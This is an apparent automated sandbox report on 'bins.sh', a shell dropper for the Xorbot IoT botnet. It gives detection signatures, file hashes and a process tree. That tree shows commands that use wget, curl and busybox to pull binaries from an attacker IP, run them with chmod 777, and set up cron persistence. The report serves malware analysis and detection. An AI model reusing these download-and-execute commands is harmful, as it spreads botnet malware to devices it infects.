Analysis

  • max time kernel
    123s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    18/01/2025, 01:02

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250118-bdsfpsyqaq
  • SHA256 e32c15488bbc990e79e9fa835f7838b1669ffef94c3c67a523849ee4974650aa
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1514) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:716
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:719
        • /usr/bin/wget
          wget http://94.154.35.94/bins/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • Writes file to tmp directory
          PID:721
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • Writes file to tmp directory
          PID:746
        • /bin/chmod
          chmod 777 WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • File and Directory Permissions Modification
          PID:747
        • /tmp/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          ./WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • Executes dropped EXE
          PID:748
        • /bin/rm
          rm WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
            PID:750
          • /usr/bin/wget
            wget http://94.154.35.94/bins/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • Writes file to tmp directory
            PID:751
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:752
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • Writes file to tmp directory
            PID:757
          • /bin/chmod
            chmod 777 kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • File and Directory Permissions Modification
            PID:764
          • /tmp/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            ./kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • Executes dropped EXE
            PID:765
          • /bin/rm
            rm kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
              PID:767
            • /usr/bin/wget
              wget http://94.154.35.94/bins/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:769
            • /usr/bin/curl
              curl -O http://94.154.35.94/bins/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:785
            • /bin/busybox
              /bin/busybox wget http://94.154.35.94/bins/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:804
            • /bin/chmod
              chmod 777 y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • File and Directory Permissions Modification
              PID:806
            • /tmp/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              ./y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:807
            • /bin/rm
              rm y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • System Network Configuration Discovery
              PID:809
            • /usr/bin/wget
              wget http://94.154.35.94/bins/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • Writes file to tmp directory
              PID:810
            • /usr/bin/curl
              curl -O http://94.154.35.94/bins/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • Writes file to tmp directory
              PID:811
            • /bin/busybox
              /bin/busybox wget http://94.154.35.94/bins/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • Writes file to tmp directory
              PID:812
            • /bin/chmod
              chmod 777 PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • File and Directory Permissions Modification
              PID:819
            • /tmp/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              ./PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • Executes dropped EXE
              PID:820
            • /bin/rm
              rm PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
                PID:824
              • /usr/bin/wget
                wget http://94.154.35.94/bins/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • Writes file to tmp directory
                PID:825
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:836
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • Writes file to tmp directory
                PID:848
              • /bin/chmod
                chmod 777 vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • File and Directory Permissions Modification
                PID:850
              • /tmp/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                ./vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:851
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:853
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:854
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:855
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:856
                    • /bin/rm
                      rm vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                      2⤵
                        PID:858
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                        2⤵
                          PID:861

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq

                            • Path /tmp/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
                            • Size 141KB
                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                            • MD5 SHA1 SHA512 SSDEEP

                            WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT

                            • Path /tmp/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
                            • Size 107KB
                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                            • MD5 SHA1 SHA512 SSDEEP

                            kTS5THy1roKMaChioUIBOHC1AFAejFOpJb

                            • Path /tmp/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
                            • Size 111KB
                            • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                            • MD5 SHA1 SHA512 SSDEEP

                            vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH

                            • Path /tmp/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                            • Size 151KB
                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                            • MD5 SHA1 SHA512 SSDEEP

                            y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE

                            • Path /tmp/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
                            • Size 122KB
                            • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                            • MD5 SHA1 SHA512 SSDEEP

                            tmp.HznnXY

                            • Path /var/spool/cron/crontabs/tmp.HznnXY
                            • Size 210B
                            • SHA256 9c49b59f9487cafa3ae99a4b880a2b1a0a3a5cb52f95947626650b8de748aa6d
                            • MD5 SHA1 SHA512